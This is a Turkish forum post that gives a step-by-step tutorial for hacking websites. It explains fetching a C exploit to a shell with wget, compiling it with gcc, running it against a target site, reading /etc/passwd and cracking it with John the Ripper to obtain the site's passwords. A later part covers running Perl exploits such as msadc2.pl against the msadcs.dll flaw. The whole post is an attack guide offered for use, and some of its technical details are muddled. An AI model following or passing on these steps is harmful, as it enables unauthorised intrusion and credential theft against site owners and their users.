yani masaüstünde bulundurarak kullanabilirsiniz fakat kullacağınız exploist sayısı arttıkca masaüstünüz dolar ayrıca explositleri çektik
ten sonra onları derlemek zorundasınız . neyse ben size hosttan ex. çekerek anlatcağım . şimdi shelle girdğinizde önünüze shelldeki
haklarınıza göre oturum açılır linuxda root shellden açtıysanız root shell yazar zaten neyse shelle girdiğinizde fazla zaman kaybetmeden
exploitsi çekelim yüklediğimiz yerden bu exploisti pcmize çekmek için şu komutu kullanıyoruz wget [Only Registered Users Can See Links] ([Only Registered Users Can See Links]) adresi/exploid.c komutu ile
exploistsi pcmize çekiyoruz fakat bu halde exploist işimize yaramaz çünkü kapalı durumdadır hani netten zipli bir dosyayı çekerizde açmadan kullanamayızya
işte exploitsleride kullanmak için açmalıyız bu iş içinde gcc compilerleri kullanırız bu bir programdır ve hemen hemen her shellde vardır
fakat ücretsiz shellerde bu uygulama kapatılmışda olabiliyor . neyse şimdi çekdiğimiz exploists pcmizdedir bunu normalde göremeyiz fakat
shellde ls yazarak onu ve masaüstündeki uygulamları görebilirsiniz . şimdi sıra geldi exploistimizi açmaya bunuda şu komutu kullanarak
yapacağız gcc -o exploid adı exploidadı.c şeklinde exploisti kullanılabilir hale getiriyoruz burda bir şeyi açıklamak istiyorum komutu yazarken -o de gördüğünüz
- çizginin yanındaki şey sıfır değil o harfi bunu sıfır yazarsanız expliosti derlemezsiniz birde gcc -o exploid adı exploidadı.c komutunda 1. yere exploisin uzantısız
adını yazıyoruz yani exploistin adı spk.c ise siz birinci yere spk yazmalısınız boşluk bıraktıkdan sonra ikinci yere ise spk.c yazın aslında buraya farklı bir
isim yazabilirsiniz yani kendi istediğiniz bir ismi fakat genelde bu şekilde yapınca gcc compiler hata veriyor siz yinede exploistsi asıl adıyla derleyin
derledikten sonra ls komutunu verdiğiniz örnek olarark verdiğim exploistin hem derlenmişi hemde derlenmemişi gözükür yani spk ve spk.c gözükecektir . bizim kullancağımız
spk.c dir . şimdi burdan sonrası çok kolay şimdi explioti kullanmaya geldi sıra komut yerine ./exploidin adını yazıyoruz fakat burda c uzantısını yazmaıyoruz ve şu şekilde
komutumuzu veriyoruz ./spk bu komuttan sonra önümüze exploisti nasıl kullancağımızla ilgili bilgiler geliyor bundan sonra exploisti bir sitede denemek onuda şu komutal yapıyoruz
./exploid adı -h [Only Registered Users Can See Links] ([Only Registered Users Can See Links]) bu komutla exploitsi deniyoruz şayet çalışırsa artık size kalmış sitede yapabilcekleriniz exploistin özelliklerine bağlı şimdi burda asıl bize
lazım olan şifre dosyası onuda şu komutlarla çekebilirz etc/passwd ile yada cat/etc/passwd çekdikden sonra sorun yaşamazsanız bu dosyayı jonthe ripperile
kırark şifrelere ulaşabilirsiniz . bu şekilde sitenin şifrelerini alabilirsiniz fakat bu işte her exploisti kullanmazsınız bunun için kullancağınız exploistler
ya Remote Exploitsler olacak yada Local Exploitsler olacaklar bu kategoriye giren exploistlerle yukarıda yazdığım işlemleri yapa bilirsiniz . işte bir pwdyi bu şekilde
sitenin serverından alabilirz fakat burda bazı şeyler var . direkmen bir ex. le dosyayı çekerim sanmayın öncelikle exploit kendi hafızasındaki açığı deneycektir bu açık varsa
sizi sitenin ana dizinine götürecek zaten açık yoksa bir şey yapamasınız . evet bu konu bu kadar devam perlde nasıl kullanacaksınız .
2- perlde exploits derleme
evet sıra geldi az sayıda da olsa perl dilinde yazılmış exleri derlemeye bu exleri derlemek için yukarıda da belirttiğim gibi öncelikle pcnizde active perl krulu olmalı
aksi halde derleme yapamazsınız . yukarıda verdiğim adresten active perli çekin sonrda kurmaya başlayın şunu söyliyeyim kurlum uzun sürüyor ve bitmeden kapmayın msdos altında kurulum
olacak kurlum bittiğinde kendi açtığı pencereyi kapayacaktır . kurulum bittiğinde pcnizi yeniden başlatın zaten kurlum bittiğinde c:\perl diye bir dizin altında perlinizi kurulmuş olcaktır
bu dizini kurlum sırasında değiştirebilirsiniz . neyse kurulumu yaptınız diyelim her şeyiniz hazır öncelikle kendinize bir site belirleyin ve yukarıda belirttiğim yöntemlerden bir tanesini kullanarak
perl dilinde yazılmış exploistinizi bulun . bulduktan sonra kodların hepsini seçin ve C:\PERL\BIN dizinine gidin şimdi bir txt açın ve içine girin kodları buraya yapıştırın sonrada dosya/darklı kaydete
girin bulduğunuz exploitsin adını yazın tabiki uzantısınıda sonra kaydetin örneğin bulduğunuz perl ile yazılmış ex a.pl bunun kodlarını alın not derfterine yapıştırın sonra farklı kaydetten a.pl diye C:\PERL\BIN dizinine kaydetin
bundan sonrası kolay aslında sadece perlde sheldede derleyebiliriniz neyse ben msdosda kullanımı anlatayım msdosa girin c:\cd.. sonrda cd perl yazın sonrada cd bin yazın ve bekleyin perl tam olarak geçiş yapsın sonrasıda kolay perldeyken şunu yazıp exploitinizi kullanabilirsiniz
perl a.pl -h [Only Registered Users Can See Links] ([Only Registered Users Can See Links]) yazın exploitin özelliklerine göre bundan sonra işlemlerinizi yapabilirsiniz örneğin msadc2.pl exploiti ile bu komutu veridğinizde sitede msadcs.dll açığı varsa önünüze bir dizin gelcek bundan sonra bazı komutlarla siteyi
hackleyebiliyorsunuz . bu konuda yazılmış bir döküman olduğundan fazla girmiyorum şu link e bakabilirsiniz [Only Registered Users Can See Links] ([Only Registered Users Can See Links]) işte perlde bu şekilde exploist kullanılabiliyor..
vBulletin v3.7.0, Copyright ©2000-2008, Jelsoft Enterprises Ltd.